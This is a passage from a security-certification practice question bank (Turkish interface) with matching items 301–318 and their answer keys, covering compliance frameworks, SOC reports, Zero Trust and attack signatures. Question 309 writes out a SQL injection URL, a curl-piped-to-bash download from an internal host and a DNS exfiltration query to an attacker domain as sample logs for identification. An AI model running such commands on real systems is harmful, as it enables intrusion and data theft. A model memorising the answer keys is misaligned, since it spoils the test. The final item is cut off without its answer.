Tüm alıştırma soruları

378 soru

Soru 301Soru

An enterprise security manager is mapping organizational compliance requirements across various jurisdictions and industry domains. Match each regulatory framework or legal mandate on the left with its primary governing scope or regulatory requirement on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Gramm-Leach-Bliley Act (GLBA) Safeguards Rule
Health Insurance Portability and Accountability Act (HIPAA) Security Rule
EU Network and Information Security (NIS 2) Directive
Federal Information Security Modernization Act (FISMA)

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

GLBA Safeguards Rule matches with protecting nonpublic personal information (NPI) at financial institutions; HIPAA Security Rule matches with protecting electronic protected health information (ePHI); EU NIS 2 Directive matches with cybersecurity standards for essential entities in critical infrastructure across the EU; and FISMA matches with federal agency information security program mandates.
Each regulation serves a specific domain: GLBA protects consumer financial data (NPI), HIPAA governs healthcare information (ePHI), NIS 2 enforces EU-wide critical infrastructure cybersecurity, and FISMA mandates security programs for U.S. federal government agencies.

Adım Adım Çözüm

1
Identify the primary sector and target entity type for each legal framework.
GLBA targets financial entities, HIPAA targets healthcare/covered entities, NIS 2 targets European critical infrastructure, and FISMA targets U.S. federal government agencies.
Compliance frameworks are defined primarily by jurisdiction, industry domain, and covered entity types.
2
Map data classification types and operational scopes to the corresponding regulations.
Customer NPI correlates to GLBA, ePHI correlates to HIPAA Security Rule, EU essential entity resilience correlates to NIS 2, and U.S. agency information system protection correlates to FISMA.
Matching specific regulatory data categories (NPI vs ePHI) and statutory jurisdictions ensures accurate compliance alignment.

Anahtar Kavram

Regulatory Scopes and Legal Compliance Frameworks
Soru 302Soru

An organization is evaluating its compliance obligations across several distinct operational domains. Match each regulatory framework or standard on the left with its corresponding primary compliance mandate or protected data scope on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

PCI DSS
HIPAA
Sarbanes-Oxley Act (SOX)
FERPA

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

PCI DSS matches with safeguarding cardholder data environments; HIPAA matches with protecting electronic protected health information (ePHI); Sarbanes-Oxley Act (SOX) matches with maintaining internal controls over financial reporting IT systems; FERPA matches with protecting the privacy of student educational records.
Each regulatory framework is correctly paired with its targeted data classification and domain scope: PCI DSS protects cardholder data; HIPAA safeguards electronic protected health information (ePHI); SOX governs internal financial controls for public corporations; FERPA protects student educational records.

Adım Adım Çözüm

1
Identify the data scope for PCI DSS
PCI DSS governs Payment Card Industry data and cardholder data environments (CDE).
Payment card security standards strictly dictate encryption, segmentation, and access controls for payment processing.
2
Identify the regulated entities and data for HIPAA
HIPAA regulates covered health entities and ePHI.
Health insurance and care records require administrative, physical, and technical safeguards under the Security and Privacy Rules.
3
Determine the accounting and corporate mandate for SOX
SOX regulates internal controls for financial systems in public companies.
Section 404 mandates verifiable IT controls to ensure financial statements are trustworthy and tamper-proof.
4
Determine the academic data scope for FERPA
FERPA regulates educational records in US educational institutions.
Educational institutions receiving federal funds must restrict access to student records without prior consent.

Anahtar Kavram

Regulatory Framework Mandates and Data Scopes
Soru 303Soru

Match each business continuity metric on the left with its corresponding operational description established during a Business Impact Analysis (BIA) on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Recovery Point Objective (RPO)
Recovery Time Objective (RTO)
Mean Time to Repair (MTTR)
Maximum Tolerable Downtime (MTD)

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

Recovery Point Objective (RPO) matches the acceptable data loss threshold measured in time. Recovery Time Objective (RTO) matches the targeted system restoration duration. Mean Time to Repair (MTTR) matches the average time needed to fix a failed system component. Maximum Tolerable Downtime (MTD) matches the total tolerable outage limit before catastrophic damage occurs.
Recovery Point Objective (RPO) specifies the maximum acceptable data loss in terms of time. Recovery Time Objective (RTO) defines the goal for how fast systems must be restored. Mean Time to Repair (MTTR) represents the average time taken to diagnose and repair a component failure. Maximum Tolerable Downtime (MTD) defines the total outage period an organization can endure before facing severe or fatal business consequences.

Adım Adım Çözüm

1
Differentiate between data-centric and duration-centric recovery metrics.
Identify that RPO focuses on data persistence and acceptable data loss, while RTO and MTD focus on system outage duration.
RPO determines how far back data must be recovered, whereas RTO specifies how quickly systems must return to operational status.
2
Distinguish operational repair metrics from business impact thresholds.
Identify MTTR as a component maintenance metric and MTD as an overarching enterprise risk threshold.
MTTR measures technical repair speed for hardware/software components, while MTD defines the total outage ceiling acceptable to the business.
3
Map each metric term to its precise operational description.
Form the correct metric-to-description pairs.
Accurate alignment ensures proper disaster recovery planning and alignment with BIA findings.

Anahtar Kavram

BIA Metrics: RPO, RTO, MTTR, and MTD
Soru 304Soru

An enterprise risk and compliance officer is updating the organization's regulatory tracking matrix across specialized business sectors and global jurisdictions. Match each regulatory framework or legal mandate on the left with its primary governance scope and compliance requirement on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

NIS 2 Directive
CMMC (Cybersecurity Maturity Model Certification)
COPPA (Children's Online Privacy Protection Act)
FERPA (Family Educational Rights and Privacy Act)

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

NIS 2 Directive matches the EU critical infrastructure baseline and incident reporting mandate; CMMC matches the US defense contractor verification for Controlled Unclassified Information; COPPA matches the requirement for verifiable parental consent for children under 13; FERPA matches the protection of student educational records in federally funded institutions.
Each regulation is paired accurately according to its governing body, protected data type, and compliance obligations: NIS 2 Directive sets EU critical infrastructure incident reporting standards; CMMC enforces cybersecurity verification for US defense contractors handling CUI; COPPA mandates parental consent for online services handling data of children under 13; and FERPA protects student educational records in US educational institutions.

Adım Adım Çözüm

1
Analyze the legal domain and jurisdiction for each compliance framework listed on the left.
Identified NIS 2 as European Union critical infrastructure law, CMMC as US Defense Industrial Base standards, COPPA as US online children's privacy law, and FERPA as US educational record privacy law.
Regulatory compliance frameworks differ significantly based on geographic jurisdiction, sector (defense, education, critical infrastructure), and target demographic.
2
Map each framework to its specific legal mandate and data protection scope.
Matched NIS 2 Directive with EU critical infrastructure requirements, CMMC with defense CUI protection, COPPA with children under 13 parental consent rules, and FERPA with student record privacy.
Accurate alignment requires identifying the governing authority, affected data classification (e.g., CUI, student records, children's PII), and enforced controls.

Anahtar Kavram

Regulatory Framework Mapping and Jurisdictional Scope
Soru 305Soru

Match each Service Organization Control (SOC) audit report type with its primary operational purpose.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

SOC 1 Report
SOC 2 Type I Report
SOC 2 Type II Report
SOC 3 Report

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

SOC 1 Report matches financial reporting controls. SOC 2 Type I Report matches suitability of control design at a single point in time. SOC 2 Type II Report matches operational effectiveness over a specified time period. SOC 3 Report matches public executive summary of security controls.
SOC reports are structured by domain and duration: SOC 1 targets internal controls over financial reporting; SOC 2 Type I assesses security control design at a single point in time; SOC 2 Type II tests security control operational effectiveness over a specified period; and SOC 3 delivers a general-use public summary of security controls.

Adım Adım Çözüm

1
Differentiate between SOC 1, SOC 2, and SOC 3 scope boundaries.
SOC 1 pertains to financial reporting, SOC 2 provides detailed technical evaluation for restricted audiences, and SOC 3 is a high-level report meant for public distribution.
Report classification depends on the intended audience and target compliance domain.
2
Distinguish between Type I and Type II attestation timeframes.
Type I measures control design at a specific point in time, while Type II measures operational performance over a period of time.
Observation duration determines whether an audit evaluates static design or historical operational effectiveness.

Anahtar Kavram

Distinction among SOC report types (SOC 1 vs SOC 2 vs SOC 3) and attestation timeframes (Type I vs Type II).
Soru 306Soru

An enterprise organization is modernizing its security framework by implementing Zero Trust Architecture (ZTA) principles across its hybrid multi-cloud infrastructure. To validate the deployment, the lead security architect must map foundational Zero Trust principles to their specific technical operational mechanisms. Match each Zero Trust Architecture principle on the left with its correct technical implementation mechanism on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Continuous Explicit Verification
Microsegmentation and Blast Radius Reduction
Assume Breach and Least Privilege Access
Control Plane and Data Plane Separation

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

Continuous Explicit Verification matches with dynamically re-evaluating credentials, device posture, and context on every request. Microsegmentation and Blast Radius Reduction matches with enforcing workload-to-workload application layer controls and mTLS to prevent lateral movement. Assume Breach and Least Privilege Access matches with restricting access through just-in-time ephemeral credentials. Control Plane and Data Plane Separation matches with decoupling policy decision engines from inline data inspection gateways.
The correct pairings accurately reflect NIST SP 800-207 Zero Trust tenets. Continuous Explicit Verification ensures ongoing dynamic checks per request rather than static login. Microsegmentation prevents internal lateral movement by dividing resources into granular zones using mTLS. Assume Breach limits threat impact by combining minimal access rights with short-lived tokens. Control Plane and Data Plane separation distinguishes decision-making logic from traffic enforcement gateways.

Adım Adım Çözüm

1
Analyze Continuous Explicit Verification
Identified that Zero Trust mandates 'never trust, always verify', requiring real-time contextual validation per transaction.
Initial login status or network location cannot grant implicit trust for subsequent transactions.
2
Analyze Microsegmentation and Blast Radius Reduction
Matched with application-level isolate controls such as mTLS and software-defined perimeters.
Legacy flat networks allow unchecked lateral movement; microsegmentation contains breaches within tight boundaries.
3
Analyze Assume Breach and Least Privilege Access
Matched with just-in-time (JIT) temporary access tokens providing minimal scope.
Designing for compromise requires minimizing rights granted to users or services to limit damage.
4
Analyze Control Plane and Data Plane Separation
Matched with separating policy decision engines (PE/PA) from inline traffic proxies (PEP).
Logical separation ensures management and policy evaluation remain isolated from physical data movement.

Anahtar Kavram

Zero Trust Architecture Operational Principles
Soru 307Soru

An enterprise risk assessment team is categorizing threat entities involved in recent cyber incidents across various critical sectors. Match each incident narrative detailing specific adversary attributes, resources, and attack vectors on the left to the corresponding threat actor classification on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

An intrusion targeting a satellite telemetry facility used custom zero-day exploits in edge VPN firmware, established living-off-the-land persistence across isolated network enclaves, and systematically exfiltrated geopolitical communications over an 18-month period without making any financial demands.
An adversary gained access to a health system's billing network using valid API credentials purchased on an underground forum, deployed automated double-extortion ransomware to lock patient management databases, and threatened to release private medical records unless a cryptocurrency ransom was paid within 72 hours.
A senior database Administrator with legitimate access to production storage buckets routinely bypassed corporate logging mechanisms to copy trade secret schematics to an personal cloud drive immediately prior to submitting a notice of resignation.
A group of marketing employees integrated an unauthorized third-party automated data-scrubbing web service into corporate workflows to streamline lead processing, exposing sensitive client information via an unauthenticated public AWS S3 bucket configured by the vendor.

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

1 matches Nation-State / Advanced Persistent Threat (APT), 2 matches Organized Crime, 3 matches Malicious Insider, 4 matches Shadow IT.
Each scenario reflects distinct motivation, sophistication level, resource capacity, and attack vector signatures. Geopolitical espionage utilizing zero-day vulnerabilities maps to Nation-State actors; financial ransomware extortion maps to Organized Crime; unauthorized abuse of legitimate internal credentials maps to a Malicious Insider; and unapproved enterprise software adoption driven by operational convenience maps to Shadow IT.

Adım Adım Çözüm

1
Analyze the attributes of the first incident narrative.
Identified zero-day firmware exploits, 18-month covert persistence, geopolitical intelligence targets, and extreme funding/sophistication.
These characteristics uniquely align with Nation-State / APT actors who prioritize long-term strategic espionage over direct monetary profit.
2
Evaluate the motivation and vector of the second incident narrative.
Identified double-extortion ransomware, purchased underground credentials, and cryptocurrency extortion demands.
Financially motivated extortion operations utilizing illicit credential marketplaces are signature indicators of Organized Crime.
3
Examine the access mechanisms and intent of the third incident narrative.
Identified legitimate elevated access rights, deliberate evasion of internal monitoring, and exfiltration prior to resignation.
Abuse of authorized access privileges by trusted personnel to steal proprietary assets constitutes a Malicious Insider threat.
4
Assess the intent and authorization level of the fourth incident narrative.
Identified unauthorized adoption of a third-party cloud service by internal staff to fulfill operational duties, introducing exposure.
Unapproved tech adoption by staff without security oversight is classified as Shadow IT.

Anahtar Kavram

Threat Actor Classification and Attribute Mapping
Soru 308Soru

An incident response team is investigating multiple concurrent network and wireless security anomalies detected across enterprise infrastructure. Match each technical log entry or packet capture indicator to its correct attack classification.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Wireless packet capture shows a burst of 802.11 management frames containing spoofed BSSID header information sending 0x0007 reason codes to client MAC addresses, immediately followed by clients authenticating to an unauthorized Access Point broadcasting identical SSID credentials on an adjacent channel.
Core switch ARP tables reveal rapid mapping updates associating the default gateway IP address with an unknown host MAC address `00:E0:4C:12:34:56`, accompanied by unrequested ICMP Type 5 redirect frames targeting the subnet host interfaces.
Internal DNS resolver logs register continuous high-frequency recursive queries requesting resolution for randomized 64-character hexadecimal subdomains appended to `malicious-domain.external`, exhibiting consistent packet sizes and strict 15-second beacon interval timing.
Wireless Intrusion Detection System (WIDS) alerts report a massive influx of WPA2/WPA3 4-way handshake message 1 frames loaded with invalid Message Integrity Check (MIC) counters and randomized nonces, triggering widespread AP memory pool exhaustion and client disconnection.

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

The correct pairings match 802.11 disassociation/rogue BSSID capture to Evil Twin Attack, gratuitous ARP/ICMP redirect log signatures to ARP Poisoning / On-Path Attack, high-entropy subdomain lookup traffic to DNS Tunneling / Data Exfiltration, and invalid MIC handshake floods to Wireless Disassociation / Key Reinstallation DoS.
Each indicator presents unambiguous packet headers and protocol behaviors specific to its corresponding threat vector: 802.11 disassociation and rogue BSSID credentials characterize Evil Twin attacks; unsolicited ARP resolution re-binding default gateways characterizes ARP Poisoning; high-entropy DNS subdomains indicate DNS Tunneling; and malformed EAPOL/handshake MIC floods characterize Wireless DoS attacks.

Adım Adım Çözüm

1
Analyze the wireless capture indicator containing 802.11 management disassociation frames and unauthorized BSSID re-authentication.
Identify that disconnecting clients from a legitimate BSSID to trick them into connecting to a rogue AP broadcasting the same SSID indicates an Evil Twin attack.
Evil Twin attacks use forced disassociation frames to drive client devices to associate with an attacker-controlled AP.
2
Examine switch ARP table updates mapping the gateway IP to an unknown MAC along with ICMP Type 5 redirects.
Confirm ARP Poisoning / On-Path attack.
Manipulating Layer 2 IP-to-MAC bindings diverts subnet traffic through the attacker's network interface.
3
Evaluate internal DNS resolver logs showing high-frequency requests with high-entropy subdomains.
Classify the activity as DNS Tunneling / Exfiltration.
Encoding binary data into long, randomized subdomains sent to an authoritative external DNS server bypasses standard perimeter security filters.
4
Inspect WIDS alerts showing 4-way handshake frame flooding with corrupt MIC tags.
Match this indicator to Wireless Disassociation / Key Reinstallation DoS.
Malformed handshake frame injection causes target APs and clients to fail cryptographic negotiation, resulting in service disruption.

Anahtar Kavram

Identification of Network and Wireless Attack Signatures
Tahmini Süre:3m 0s
Soru 309Soru

Match each security telemetry log snippet with its corresponding threat classification or event type.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Apache Access Log:
10.0.4.15 - - [27/Jul/2026:10:15:02] "GET /catalog.php?id=10%20UNION%20SELECT%20null,table_name%20FROM%20information_schema.tables-- HTTP/1.1" 200 3420
Windows Security Event Log:
Event ID 4625 | Target Account: Administrator | Failure Reason: Unknown user name or bad password | Rate: 450 failed attempts within 30 seconds
Linux Auditd Log:
type=EXECVE msg=audit(1785149300.124:402): execve("/bin/bash", ["bash", "-c", "curl -s http://192.168.5.10/stage2.sh | bash"], ...)
DNS Query Telemetry:
Query Type: TXT | Domain Request: "dGVzdF9zZWNyZXRfZGF0YQ.exfil.attacker-control.net" | Response Code: 200 OK

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

1. Apache access log showing UNION SELECT syntax matches SQL Injection database schema discovery.
2. Windows Event ID 4625 showing rapid failures matches automated brute-force authentication.
3. Linux auditd log showing curl piped to bash matches command injection payload execution.
4. DNS query showing encoded subdomains in TXT records matches DNS tunneling.
Each log archetype provides unique markers: SQL keywords in HTTP logs indicate SQL Injection, high-frequency Event ID 4625 logs indicate brute-force authentications, auditd shell invocation logs indicate command execution, and encoded DNS TXT subdomains indicate DNS tunneling.

Adım Adım Çözüm

1
Examine the HTTP request string in the web server access log.
Identified URL-encoded SQL database discovery statements ('UNION SELECT').
SQL injection attacks inject structured query statements into HTTP parameters to extract backend data.
2
Analyze the Windows Event ID and failure frequency.
Event ID 4625 combined with 450 rapid failures confirms automated password brute-forcing.
Event ID 4625 specifically tracks logon failures on Windows operating systems.
3
Inspect the system execution parameters in the Linux kernel audit log.
Identified bash executing curl commands piped directly to a shell.
Auditd EXECVE events capture process execution arguments, highlighting malicious downloader invocation.
4
Evaluate the DNS query parameters and request structure.
Encoded string subdomains in TXT queries confirm covert channel data exfiltration.
DNS tunneling encapsulates non-DNS protocol traffic inside standard DNS lookup requests.

Anahtar Kavram

Telemetry Identification and Security Event Correlation
Soru 310Soru

Match each core security goal or concept on the left with its primary operational objective on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Confidentiality
Integrity
Availability
Non-Repudiation

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

Confidentiality matches preventing unauthorized disclosure; Integrity matches safeguarding data against unauthorized alteration; Availability matches ensuring data accessibility when needed; Non-Repudiation matches providing unalterable proof of an action.
Each security term directly corresponds to its foundational definition: Confidentiality protects against unauthorized exposure, Integrity prevents unauthorized alteration, Availability ensures operational access, and Non-Repudiation provides indisputable proof of origin or action.

Adım Adım Çözüm

1
Define the primary purpose of Confidentiality.
Confidentiality restricts data access to authorized entities.
Protects sensitive data from unauthorized disclosure.
2
Define the primary purpose of Integrity.
Integrity maintains data accuracy and trustworthiness.
Prevents unauthorized modification, deletion, or tampering.
3
Define the primary purpose of Availability.
Availability ensures uptime and accessibility.
Guarantees services and data are ready for authorized use.
4
Define the primary purpose of Non-Repudiation.
Non-Repudiation binds an action to a specific identity cryptographic proof.
Prevents a party from falsely claiming they did not perform a given action.

Anahtar Kavram

Core definitions of the CIA Triad pillars and Non-Repudiation
Soru 311Soru

Match each enterprise security technical implementation to the specific security pillar or concept it primarily satisfies.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Confidentiality
Integrity
Availability
Non-Repudiation

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

Confidentiality matches encrypting sensitive customer records; Integrity matches generating SHA-256 checksums for binaries; Availability matches deploying redundant power and load-balanced clusters; Non-Repudiation matches signing executive transfer requests with asymmetric private keys.
Each control satisfies a specific pillar: encryption prevents disclosure (Confidentiality); hashing detects unauthorized changes (Integrity); hardware redundancy maintains system access (Availability); private key signing binds identity to transactions (Non-Repudiation).

Adım Adım Çözüm

1
Determine the security goal of encryption at rest.
Encryption restricts reading data to keyholders, satisfying Confidentiality.
Confidentiality focuses on preventing unauthorized disclosure of information.
2
Analyze the function of cryptographic checksums (SHA-256).
Hashing detects any modification in transit or storage, satisfying Integrity.
Integrity guards against unauthorized data modification or corruption.
3
Evaluate the purpose of dual power feeds and server clustering.
Redundancy mitigates single points of failure to maintain uptime, satisfying Availability.
Availability ensures hardware and software systems remain operational and accessible.
4
Identify the protection provided by asymmetric private key signatures.
Digital signatures bind identity to data so authorship cannot be refuted, satisfying Non-Repudiation.
Non-repudiation prevents an entity from denying their prior actions or messages.

Anahtar Kavram

CIA Triad and Non-Repudiation core principles and technical controls
Soru 312Soru

An industrial smart grid operator manages several automated telemetry, control, and audit subsystems. Match each operational security scenario on the left with the primary CIA triad pillar or related security objective that is either violated or enforced on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

An adversary intercepting unencrypted microwave radio links between electrical substations to read operational load and power usage metrics.
An attacker deploying a distributed flood against grid control gateways, delaying emergency shutdown signals during a transformer failure.
A malicious actor modifying calibration data within a remote terminal unit (RTU) database, leading to inaccurate telemetry without disrupting connectivity.
A chief engineer authorizing a critical relay logic patch using their private key and smart card, enabling auditors to indisputably attribute the change.

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

1. Intercepting unencrypted microwave links → Confidentiality
2. Flooding control gateways during emergency → Availability
3. Modifying RTU database calibration data → Integrity
4. Signing relay logic patches with a private key → Non-Repudiation
Each scenario maps to its core security objective based on the nature of the threat or control. Unauthorized data viewing targets Confidentiality; blocking system access targets Availability; unauthorized data modification targets Integrity; and cryptographically proving the origin of an update enforces Non-Repudiation.

Adım Adım Çözüm

1
Analyze the microwave eavesdropping scenario.
Unauthorized exposure of power usage metrics to outside eavesdroppers compromises data secrecy.
Protecting data from unauthorized disclosure is the definition of Confidentiality.
2
Analyze the network flood attack scenario.
Emergency shutdown communications are blocked or delayed due to system resource exhaustion.
Ensuring timely and reliable access to systems and data is the definition of Availability.
3
Analyze the calibration database alteration scenario.
Data is tampered with and corrupted while remaining operational.
Maintaining the accuracy, completeness, and uncorrupted state of data is the definition of Integrity.
4
Analyze the digitally signed engineering patch scenario.
The engineer's unique private key creates cryptographic proof of origin that cannot be refuted.
Providing proof of origin and authenticity that prevents an entity from denying an action constitutes Non-Repudiation.

Anahtar Kavram

Core Pillars of Information Security (CIA Triad) and Non-Repudiation
Soru 313Soru

An enterprise cloud engineering team is establishing baseline security controls for a newly migrated production environment. Match each technical implementation on the left with the primary security pillar or objective it satisfies on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Applying asymmetric digital signatures to automated infrastructure deployment manifests before execution
Configuring SHA-256 cryptographic checksums coupled with write-once-read-many (WORM) audit logging
Deploying active-active multi-region database replicas with automated health-check failover
Enforcing client-side AES-256-GCM encryption on cloud object storage buckets

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

Asymmetric digital signatures map to Non-Repudiation; SHA-256 hashing with WORM storage maps to Integrity; Active-active multi-region redundancy maps to Availability; Client-side AES-256 encryption maps to Confidentiality.
Each control satisfies its corresponding pillar: asymmetric digital signatures cryptographically bind identity to deployment actions for non-repudiation; SHA-256 hashing with WORM prevents undetected log alteration for integrity; multi-region active-active clustering maintains service uptime for availability; client-side AES-256 encryption prevents unauthorized data viewing for confidentiality.

Adım Adım Çözüm

1
Analyze the technical control for proof of origin and author identity.
Asymmetric digital signatures tie deployment actions directly to the signer's private key, establishing non-repudiation.
Non-repudiation ensures an individual or system cannot deny having performed a specific transaction or authorization.
2
Evaluate controls designed to prevent or detect unauthorized data modification.
SHA-256 hashing combined with WORM storage preserves audit records against undetected changes, fulfilling integrity.
Integrity guarantees data accuracy, completeness, and protection against unauthorized modification.
3
Examine operational controls implemented for uptime and disaster recovery.
Multi-region active-active database clustering ensures resources remain accessible during hardware or network failures, maintaining availability.
Availability ensures systems and data are operational and accessible to authorized users whenever needed.
4
Identify controls designed to prevent unauthorized disclosure of stored data.
Client-side AES-256-GCM encryption secures payload data from unauthorized exposure, guaranteeing confidentiality.
Confidentiality protects sensitive data from unauthorized access or disclosure.

Anahtar Kavram

CIA Triad and Non-Repudiation
Soru 314Soru

A security architect is establishing control and data plane boundaries for a microsegmented enterprise network undergoing transition to a Zero Trust Architecture (ZTA). Match each logical Zero Trust component with its corresponding operational role during access evaluations.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Policy Engine (PE)
Policy Administrator (PA)
Policy Enforcement Point (PEP)

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

The Policy Engine evaluates policies to make access decisions; the Policy Administrator communicates commands to establish/terminate communication channels; and the Policy Enforcement Point directly intercepts traffic and enforces policies at the data plane.
The Policy Engine evaluates context and policy rules to output access decisions. The Policy Administrator receives those decisions and manages credentials or signaling to setup/tear down communication paths. The Policy Enforcement Point intercepts connections directly to enforce policy controls on active network sessions.

Adım Adım Çözüm

1
Identify the primary decision-making core of Zero Trust Architecture.
Recognize that the Policy Engine (PE) compares access requests against defined security policies to make grant/deny decisions.
Separation of control plane logic requires a centralized decision authority.
2
Identify the component responsible for signaling and connection management.
Recognize that the Policy Administrator (PA) executes PE decisions by instructing the control plane to open or close sessions.
The PA acts as the mediator between logical decisions and physical connection establishment.
3
Identify the data plane component handling direct traffic flow.
Recognize that the Policy Enforcement Point (PEP) resides on the data plane to physically allow, monitor, or block traffic.
PEPs act as gatekeepers directly in the flow of traffic.

Anahtar Kavram

Zero Trust Control Plane vs. Data Plane Architecture Components (NIST SP 800-207)
Soru 315Soru

Match each deception technology term on the left with its corresponding operational description on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Honeypot
Honeyfile
Honeynet
Honeytoken

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

Honeypot matches with an individual decoy system designed to attract attackers away from production assets. Honeyfile matches with an intentionally attractive dummy document placed to trigger alerts when accessed. Honeynet matches with an entire network segment of decoy systems to study network-wide attacks. Honeytoken matches with a fake piece of data like an API key or credential embedded to track unauthorized usage.
Each deception technology serves a specific operational purpose: Honeypot acts as an individual decoy host; Honeyfile acts as a decoy file; Honeynet acts as an entire decoy network infrastructure; Honeytoken acts as a tracking data element such as an API key or fake credential.

Adım Adım Çözüm

1
Identify single decoy hosts vs. full decoy network structures.
Recognize that a single decoy host is a Honeypot, whereas a full subnet of decoy hosts is a Honeynet.
Scope distinguishes single system traps (honeypots) from network-level environments (honeynets).
2
Differentiate between decoy files and embedded decoy data artifacts.
Map files/documents to Honeyfiles and embedded elements like API keys or credentials to Honeytokens.
Honeyfiles represent discrete documents, while honeytokens represent data elements used as triggers.

Anahtar Kavram

Deception and Disruption Technologies
Tahmini Süre:1m 0s
Soru 316Soru

Match each Identity and Access Management (IAM) architectural protocol component to its corresponding enterprise security implementation requirement.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

OAuth 2.0 Mutual-TLS (mTLS) Client Authentication
OpenID Connect (OIDC) Back-Channel Logout
SAML 2.0 Artifact Resolution Profile
SCIM 2.0 Bulk Endpoint

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

OAuth 2.0 Mutual-TLS Client Authentication pairs with cryptographically binding access tokens to X.509 client certificates. OpenID Connect Back-Channel Logout pairs with direct server-to-server HTTP notifications to invalidate sessions out-of-band. SAML 2.0 Artifact Resolution Profile pairs with passing a reference string through the browser to fetch full assertions back-channel. SCIM 2.0 Bulk Endpoint pairs with batching identity provisioning operations into a single HTTP payload.
Each IAM protocol mechanism strictly aligns with its enterprise architecture role: mTLS client authentication provides cryptographic token binding for sender constraint; OIDC Back-Channel Logout handles reliable out-of-band federated session termination; SAML 2.0 Artifact Resolution avoids passing full XML assertions through user browsers; and SCIM 2.0 Bulk Endpoint reduces HTTP request overhead during identity provisioning.

Adım Adım Çözüm

1
Analyze token binding and client authentication requirements
OAuth 2.0 mTLS Client Authentication (RFC 8705) uses X.509 certificate matching during TLS handshakes to ensure sender-constrained access token validation.
Prevents token replay across microservices in zero trust IAM architectures.
2
Evaluate federated session lifecycle and logout mechanisms
OIDC Back-Channel Logout delivers direct server-to-server HTTP POST requests containing a Logout Token from the IdP to the RP.
Bypasses browser restrictions (such as third-party cookie blocking) to reliably invalidate relying party sessions.
3
Examine federated assertion transport security profiles
SAML 2.0 Artifact Resolution Profile sends a 44-byte SAML artifact through the user agent, prompting the Service Provider to resolve the actual SAML Assertion over an out-of-band back-channel TLS connection.
Protects sensitive identity attributes from interception, referrer leaks, or URL length constraints in the front channel.
4
Identify automated provisioning scalability patterns
SCIM 2.0 specifies the /Bulk endpoint to aggregate multiple HTTP POST, PUT, PATCH, and DELETE identity operations into a single request payload.
Reduces network latency and API traffic during mass identity lifecycle updates across cloud platforms.

Anahtar Kavram

Enterprise IAM Architecture and Federated Identity Protocols
Tahmini Süre:2m 0s
Soru 317Soru

An enterprise security architect is updating host and network hardening standards across the organization to address findings from a recent security assessment. Match each enterprise security risk scenario on the left with the most effective enterprise hardening mitigation on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Unauthenticated rogue hardware devices connecting directly to open Ethernet wall jacks in physical common areas
Kernel-level rootkits modifying boot loader components prior to operating system initialization
Compromised background daemon processes leveraging inherited root privileges to alter host system files
Cleartext directory service queries on internal subnets exposing user authentication tokens to packet sniffing

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

The enterprise security risk scenarios map directly to their corresponding technical mitigations: physical port access is secured by 802.1X NAC; system boot integrity is guaranteed by UEFI Secure Boot and TPM; daemon privilege escalation is mitigated by process sandboxing and least privilege; and unencrypted directory traffic is secured using LDAPS and LDAP signing.
Each hardening technique directly neutralizes the specified threat vector: 802.1X prevents unauthorized physical switch port connections; UEFI Secure Boot verifies pre-OS bootloader integrity; process sandboxing limits daemon privilege abuse; and LDAPS secures directory session traffic against passive eavesdropping.

Adım Adım Çözüm

1
Evaluate physical Layer 2 access control controls
Unauthorized physical network connections are effectively restricted by port authentication frameworks.
802.1X obligates connecting end-systems to authenticate via EAP before the access switch grants network connectivity.
2
Analyze system firmware and boot sequence protections
Pre-boot unauthorized code execution is neutralized by cryptographic verification.
UEFI Secure Boot checks signature chains of bootloaders and drivers, preventing low-level rootkit persistence.
3
Assess operating system process privilege limits
Host compromise scope is constrained by isolating daemon execution contexts.
Applying process sandboxing and dedicated least-privilege service accounts prevents compromised applications from acquiring root privileges.
4
Examine internal directory protocol transport security
Cleartext credential leakage across internal networks is resolved via cryptographic transport policies.
LDAPS wraps LDAP within TLS tunnels, while LDAP signing validates packet integrity to prevent adversary-in-the-middle sniffing.

Anahtar Kavram

Enterprise Hardening and Security Mitigation Controls
Soru 318Soru

An enterprise compliance team is establishing vendor risk management criteria for evaluating third-party service providers. Match each audit report or attestation type to its primary operational purpose and scope.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

SOC 1 Type II Report
SOC 2 Type II Report
SOC 2 Type I Report
SOC 3 Report

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

